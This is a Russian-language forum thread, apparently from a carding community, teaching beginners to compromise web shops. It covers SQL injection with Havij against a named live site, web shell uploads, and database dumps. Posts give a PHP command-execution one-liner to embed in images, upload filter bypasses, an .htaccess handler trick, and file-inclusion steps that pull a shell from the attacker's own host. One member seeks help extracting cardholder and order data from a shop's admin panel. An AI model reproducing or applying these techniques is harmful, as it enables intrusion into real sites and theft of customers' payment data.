[Видео] Шоп Sql-inject Шелл Дамп

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
Один из примеров, как можно вскрыть шоп или любой другой сайт.
Взят самый простой пример, чтобы начинающие смогли понять что к чему.

Нам понадобится:

1. Шелл WSO (в архиве с видео);
2. Havij v 14
Code:
чttp://www.itsecteam.com/en/projects/project1.htm
3. Браузер.

Видео разбито на 4 части:

1. Подготовка шелла;
Code:
http://www.sendspace.com/file/bfmc33
2. Раскрутка SQL-inject при помощи Havij v 14;
Code:
http://www.sendspace.com/file/f6oa1p
3. Заливка шелла;
Code:
http://www.sendspace.com/file/ow3cpu
4. Дамп базы.
Code:
http://www.sendspace.com/file/lq0rvp

Дополнения к видео:

1. Подготовка шелла;

Существует немалое количесиво шеллов от разных авторов, написанных на разных языках, примеры: shell.php,shell.asp,shell.jsp.
B для каждого отдельного движка нужно подобрать свой шелл. Необязательно использовать только ВСО для php интерпритатора, можно использовать например: с100.php или с99.php. Стоит учитывать, что некоторые шеллы хорошо палятся антивирусами, поэтому не расстраивайтесь, если шелл залили, а по нужному адресу он отсутствует. Возможно его сразу удалил антивирус. Попробуйте залить другой шелл, если отсутствуют навыки программирования.
Большое количество разных шеллов:
Code:
чttp://forum.k0d.cc/showthread.php?t=3471&page=1
чttp://forum.hackzona.ru/forum-f17/eieeaeoey-oaeeia-t16848.html
Или гугл в помощь.

2. Раскрутка SQL-inject при помощи Havij v 14;

SQL-инекция примечательна и до сих пор не теряет своей актуальности тем, что при написании скрипта для движка, программер не ввел достаточной фильтрации символов. Что и дает нам возможность осуществлять склеенные запросы к базам данных. Вот, например,
Code:
ttp://www.africantribalarts.net/pro_detail.php?Pid=128
в параметр Pid нам не нужно было подставлять никаких других значений, чтобы обойти фильтр. Havij сделал все сам. Но я часто сталкиваюсь с Blind sql inject. Там приходится самому манипулировать параметрами, например подставлять спец. символы, такие как #,$,\". а уже потом раскручивать через софт.

Сервис md5.rednoize.com в Havij v 14 на вкладке MD5 как подбирает хэш, так и шифрует слово/выражение в MD5. Т.е. работает в двухстороннем режиме.

Чтобы вникнуть в SQL инъекции полностью. Рекомендую ознакомиться здесь:
Code:
чttp://injection.rulezz.ru/
Прочтение тех статей позволит Вам понять суть и уже осмысленно анализировать скрипты на уязвимости даже в современных движках.

Также для новичков настоятельно советую скачать мануал на русском языке "SQL-injection от А до Я":
Code:
http://www.sendspace.com/file/y139yl

3. Заливка шелла;

В моем примере я не сталкнулся с частой проблемой по заливке шелла, а именно разного рода фильтрациями.
Но иногда Вам потребуется:

* Ситуация без изменения содержимого шелла переименовываем шелл, например:
Code:
  a) shell.php%00
  б) shell.php.wmv
  в) shell.php%00.jpg и др.

* Заливаем картинку на сайт(в качестве аватара) и если имеется уязвимость типа php-including инклудим картинку и получаем шелл

* Открыть любую картинку hex редактором и в конце файла вставить код шелла
Code:
<?php system($_GET["cmd"]); ?>
Сохранить и залить.

Такое еще встречается. Также есть способы по заливке шелла в комментариях картинки и др.

4. Дамп базы.

В моем примере права доступа на сервере настроены не привильно. Поэтому используя шелл, мы можем пройтись по другим сайтам на сервере и подключаться к их базам. Там еще есть шопы. Похожего типа.
Чтобы найти остальные сайты на сервере или определить домены на любом другом сервере, можно воспользоваться сервисом "Сайты на одном IP" сайта
Code:
чttp://www.2ip.ru/

Бывает, что функция дампа файла в шеллах не срабатывает, поэтому можно просто открыть таблицу для чтения и скопировать содержимое в буфер обмена, а потом вставить в блокнот на своем компьютере.

Статья написана sergaj специально для к.про

P.S. Не стесняйтесь задавать вопросы не только по примеру. Если ваш взлом имеет отношение к шеллам, SQL-инекциям, заливке шеллов или дампам баз, то задавайте. Т.к. это имеет непосредственное отношение к теме.

Архив upload.rar тестился на сайте:

ОТЧЕТ

Code:
SHA256: 	9b2bba5d4beac03e7bd8843df2e830a47decbf9167535e29b21012f49f51aeb9
File name: 	upload.rar
Detection ratio: 	13 / 43
Analysis date: 	2012-02-21 22:42:33 UTC ( 1 minute ago )
0
0
Antivirus 	                              Result 	Update
AhnLab-V3                              	- 	20120221
AntiVir 	                           PHP/Shell.G.2 	20120221
Antiy-AVL                                	- 	20120213
Avast 	                   PHP:Shell-AX [Trj] 	20120221
AVG 	                                          - 	20120221
BitDefender 	Trojan.Php.Backdoor.APF 	20120221
ByteHero 	                        - 	20120221
CAT-QuickHeal 	                        - 	20120221
ClamAV 	                       PHP.Shell-38 	20120221
Commtouch                       	- 	20120221
Comodo                            	- 	20120221
DrWeb 	                                     - 	20120221
Emsisoft   	Backdoor.PHP.Shell!IK 	20120221
eSafe                                	- 	20120221
eTrust-Vet                         	- 	20120221
F-Prot                                 	- 	20120221
F-Secure  	Trojan.Php.Backdoor.APF 	20120221
Fortinet 	                                              - 	20120221
GData 	               Trojan.Php.Backdoor.APF 	20120221
Ikarus 	                 Backdoor.PHP.Shell 	20120221
Jiangmin 	                 Backdoor.PHP.aro 	20120221
K7AntiVirus                               	- 	20120221
Kaspersky 	Backdoor.PHP.WebShell.ea 	20120221
McAfee                                      	- 	20120221
McAfee-GW-Edition                        	- 	20120221
Microsoft      	Backdoor:PHP/Shell.G 	20120221
NOD32 	                   PHP/WebShell.NAH 	20120221
Norman                                    	- 	20120221
nProtect 	         Trojan.Php.Backdoor.APF 	20120221
Panda 	                                              - 	20120221
PCTools 	                                              - 	20120221
Prevx 	                                             - 	20120221
Rising 	                                           - 	20120221
Sophos 	                                           - 	20120221
SUPERAntiSpyware                    	- 	20120206
Symantec 	                          - 	20120221
TheHacker 	                              - 	20120220
TrendMicro 	                        - 	20120221
TrendMicro-HouseCal                           -	20120221
VBA32 	                                           - 	20120221
VIPRE 	                                           - 	20120221
ViRobot 	                                           - 	20120221
VirusBuster 	                        - 	20120221

Скрины отчета:

______________________________________________________________________________________________________________
0fcd88bca96b.jpg


_______________________________________________________________________________________________________________
2ea5e89fd323.jpg


_______________________________________________________________________________________________________________
4dea29207e2a.jpg


Мысли Каспера на этот счет(баннеры-ссылки):



Мысли Мелкософта на этот же счет:



и ещё:



Каждый для себя сделает свой вывод.
 
Last edited:

Passion

VIP member
Messages
562
Reputation
92
Reaction score
124
Points
43
Хорошее видео, спасибо.

Во многих пробовал залить шелл, но стояло шифрование или как правильно выразиться. Вообщем .php файлы были запрещенны на загрузку, только картинки. Как такое ограничение обойти?
И еще один вопросик, как понять в каком скрипте смотреть где лежит доступ к БД. На видео - это pro-detail.php, но ведь он может называть по разному этот скрипт.
 
Last edited:

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
Во многих пробовал залить шелл, но стояло шифрование или как правильно выразиться. Вообщем .php файлы были запрещенны на загрузку, только картинки. Как такое ограничение обойти?
Если это распространенный движок, то вбей в гугле названия движка и вырашение, там шелл, или залить шелл + на английском тоже.
Если самописный движок, то нужно пробовать заливать шелл по-разному.
Примеры выше есть.
1. переименуй например расширение шелла в .php4, .php5
2. пробуй переименовать в shell.php.swf или shell.php.jpg.
3. попробуй использовать в названии ядовитый ноль.
Переименуй в shell.php%00 или shell.php%00.swf или shell.php%00.jpg
4. Также открой картинку в бинарном виде любым hex-редактором или на крайний случай блокноном. И впиши в конец файла: <?php system($_GET["cmd"]); ?>. Сохрани. Залей. Затем перейдешь по пути к картинке, напишешь, www.site.com/../../shell.jpg?cmd=dir (или ls -la). тебе выведет содержание текущего каталога.
5. такое же можно прописать в свойствах картинки, если скрипт поддерживает (нужно самому смотреть).
6. Также можно грузануть в смайл таким же образом строчку шелла. Сохранить, залить. И обратиться к нему.
В гугле еще можешь глянуть по запросу "заливка шелла через картинку". Может там из способов что-то есть для тебя подходящее.

И еще один вопросик, как понять в каком скрипте смотреть где лежит доступ к БД. На видео - это pro-detail.php, но ведь он может называть по разному этот скрипт.
Просто открываешь в шелле бажный скрипт. Смотришь на подключение (директива include) сторонних файлов, скриптов, библиотек и ищешь нужный скрипт подключения к базе как в видео.
Но очень часто данный скрипт лежит в inc/data/ или inc/classes/
 

Keltos

VIP member
Messages
678
Reputation
185
Reaction score
230
Points
43
оффтоп: надо хеккерскую группу создать на кпро ;)
 

Passion

VIP member
Messages
562
Reputation
92
Reaction score
124
Points
43
sergaj , благодярю за столь развернутый ответ.
 

Guha5277

Professional
Messages
229
Reputation
28
Reaction score
47
Points
28
А то если при заливки шелла с расширением .php.jpg или просто .php - заливается нормально, но ссылка на изображение-шелл, отображается вида site:com/images/sh_0_1.jpg. Т.е .php расшиерние фильтруется\обрубается? Есть пути обхода?
 

Keltos

VIP member
Messages
678
Reputation
185
Reaction score
230
Points
43
А то если при заливки шелла с расширением .php.jpg или просто .php - заливается нормально, но ссылка на изображение-шелл, отображается вида site:com/images/sh_0_1.jpg. Т.е .php расшиерние фильтруется\обрубается? Есть пути обхода?

Надо прописать в .htaccess:

Code:
AddType application/x-httpd-php .jpg
 

Guha5277

Professional
Messages
229
Reputation
28
Reaction score
47
Points
28
Беда...
Только если есть локальный инклуд.
К сожалению, не знаю что такое локальный инклуд.


Надо прописать в .htaccess:
Доступ к .htaccess запрещён, по карйней мере мне так пишет браузер, при попытке доступа...

Может кто подскажет в режиме on-line?
Колонки с ордерами, через Havij и ему подобных - отображаются пустыми.
В админке, видно 4 последние цифры карт (вида: ХХХХ-ХХХХ-ХХХХ-4812) и остальная инфа по холдеру.
1**** ордеров.
В гугле не светиться на всяких ачатах.

P.S - Помоему, загруженные файлы, обрабатываются специальным скриптом, т.к выскакивала SQL ошибка о каких-то дубликатах...
 
Last edited:

Keltos

VIP member
Messages
678
Reputation
185
Reaction score
230
Points
43
Беда...

К сожалению, не знаю что такое локальный инклуд.



Доступ к .htaccess запрещён, по карйней мере мне так пишет браузер, при попытке доступа...

Может кто подскажет в режиме on-line?
Колонки с ордерами, через Havij и ему подобных - отображаются пустыми.
В админке, видно 4 последние цифры карт (вида: ХХХХ-ХХХХ-ХХХХ-4812) и остальная инфа по холдеру.
1**** ордеров.
В гугле не светиться на всяких ачатах.

P.S - Помоему, загруженные файлы, обрабатываются специальным скриптом, т.к выскакивала SQL ошибка о каких-то дубликатах...

_https://rdot.org/forum/showpost.php?p=1142&postcount=7
_https://rdot.org/forum/showthread.php?t=393
 

benz-brabus

Professional
Messages
691
Reputation
114
Reaction score
145
Points
43
Guha5277 если ты смог залить туда шелл то залей так же .htaccess с тем текстом который Келтос скинул.
 

Vasders

Professional
Messages
2,552
Reputation
365
Reaction score
520
Points
113
Так он как раз шелл залить не может. И, соотвественно, хтаццесс не поправит.

Тут инклуд единственный вариант имхо.

Если не знаешь что такое - почитай на ачате. Вкратце, это подключение пхп файлов.
Допустим если скули ты крутишь по линку типа index.php?id=100, то инклуд будет выглядеть как index.php?id=page.php
Если на сервере позволяют настройки (это редко), то можешь тупо подключить шелл со своего сайта, например index.php?id=http://vasya.ru/shell.php
но это бывает редко, чаще он локальный, то бишь можно подключать файлы находящиеся на сервере
прелесть инклуда в том, что твоя картинка не зависимо от разрешения будет обрабатываться как php код
Потому, если присутствует эта уязвимость, любым путем заливаешь файл с кодом и инклудишь его
Есть еще вариант юзания инклуда - если через него можно увидеть логи, но про это уже сам прочитаешь на профильных форумах.

П.С. Я сам нуб, за мое объяснение не гнобите сильно)
 
Last edited:

Guha5277

Professional
Messages
229
Reputation
28
Reaction score
47
Points
28
Guha5277 если ты смог залить туда шелл то залей так же .htaccess с тем текстом который Келтос скинул.

В том-то и дело, что не смог.
Собсно есть доступ к адмнке, там можно добавлять категории\акции\ордеры. Есть форма для добавления картинки. При попытке залить файл с любым именем\разшерением (пробовал и sh.php.jpg и sh.php%00.jpg и даже просто %00 :D и без расширения ) автоматически ставиться левое имя (типа product_1_0.jpg). И всё. При обращении к картинке mozilla пишет про неправильность содержания изображения, а опера просто молчит. Успокаивает единственное, что в админке предусмотрен дамп ордеров и мыла.
Всем спасибо.
 
Last edited:

benz-brabus

Professional
Messages
691
Reputation
114
Reaction score
145
Points
43
Все) Тогда я умолкаю ибо больше не знаю ничего)
 

Vasders

Professional
Messages
2,552
Reputation
365
Reaction score
520
Points
113
Если можешь не только сливать дамп, а и заливать его обратно - то есть еще один вариант.
Сливаешь дамп, где-то заменяешь данные на пхп код (например одну из новостей или статей) и заливаешь обратно.
Потом открываешь эту страницу, где вставил код, и он выполняется.

П.С. Юбилей - тысячный пост)
 

Guha5277

Professional
Messages
229
Reputation
28
Reaction score
47
Points
28
Так он как раз шелл залить не может. И, соотвественно, хтаццесс не поправит.

Тут инклуд единственный вариант имхо.

Если не знаешь что такое - почитай на ачате. Вкратце, это подключение пхп файлов.
Допустим если скули ты крутишь по линку типа index.php?id=100, {......
......}Есть еще вариант юзания инклуда - если через него можно увидеть логи, но про это уже сам прочитаешь на профильных форумах.

П.С. Я сам нуб, за мое объяснение не гнобите сильно)

Спасибо, объяснил колхозу.
Понял, буду читать :D .

Если можешь не только сливать дамп, а и заливать его обратно - то есть еще один вариант.
Сливаешь дамп, где-то заменяешь данные на пхп код (например одну из новостей или статей) и заливаешь обратно.
Потом открываешь эту страницу, где вставил код, и он выполняется.

П.С. Юбилей - тысячный пост)

Дампить могу юзверей.
Формат на выходе CSV.
Заливать не в правах)

P.S - Аналогично, только 200 пост ).
 
Last edited:

Keltos

VIP member
Messages
678
Reputation
185
Reaction score
230
Points
43
Проще было сразу на ачате спросить об этом.
Там много хеккеров.

ps юбилей 210 пост
 

Guha5277

Professional
Messages
229
Reputation
28
Reaction score
47
Points
28
Нашёл php инклуду, и была она в админке.
Залил шелл на свой сайт, получилось вида site.com/shell.php.
Инклудил без расширения, т.е vunerable.com/admin/index.php?groups=site.com/shell.
В ответ вылезло миллион ошибок\предупреждений mysql

Warning: include() [function.include]: Failed opening './item_definitions/_itemdef.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/public_html/admin/admin_item.php on line 105

Да и хоть чего пиши на место инклуда, всё-равно отображаются ошибки.
З.Ы - На ачате нашёл 1 топик всего с php inject....
 
Last edited:

Vasders

Professional
Messages
2,552
Reputation
365
Reaction score
520
Points
113
Врятли там удаленный инклуд. Инклудь свою картинку, которую залил. Путь указываешь полностью, вон в ошибке он раскрыт:
/home/public_html/admin/admin_item.php

Будет типа такого:
/admin/index.php?groups=/home/public_html/upload/product_1_0.jpg

И на шелле убери авторизацию, если стоит, а то толком работать не будет - будет постоянно на нее выкидывать из шелла.

И если ты юзаешь удаленный инклуд, то файл который инклудишь не должен выполнятся на твоем сайте. Иначе ты проинклудишь свой сайт, а не сайт-жертву.
Для этих целей идеально подходит народ.ру
 
Last edited:

Guha5277

Professional
Messages
229
Reputation
28
Reaction score
47
Points
28
Врятли там удаленный инклуд. Инклудь свою картинку, которую залил. Путь указываешь полностью, вон в ошибке он раскрыт:
/home/public_html/admin/admin_item.php

Будет типа такого:
/admin/index.php?groups=/home/public_html/upload/product_1_0.jpg

И на шелле убери авторизацию, если стоит, а то толком работать не будет - будет постоянно на нее выкидывать из шелла.

И если ты юзаешь удаленный инклуд, то файл который инклудишь не должен выполнятся на твоем сайте. Иначе ты проинклудишь свой сайт, а не сайт-жертву.
Для этих целей идеально подходит народ.ру

Долго вкуривал где "путь указывай полностью".
Пока не обновил страницу.
Спасибо!
А можно вопрос? Какой толк инклудить "картинку" (локально)?
Разве код будет выполняться, если он не выполнился при простом открытии?
И кстати заинтерисовала эта ошибка:
Warning: Variable passed to each() is not an array or object in /home......
"Это не массив или объект".
Значит нельзя в этот php файл инклудить?

Да, будет
Понял! Немного изучал php, потом бросил.
Инклуд функция, что вставляет содержимое инклудеемого документа в документ, а не ссылку на него.
Т.е без разницы, какое у него будет расширение, вставиться только содержимое.
 
Last edited:
Top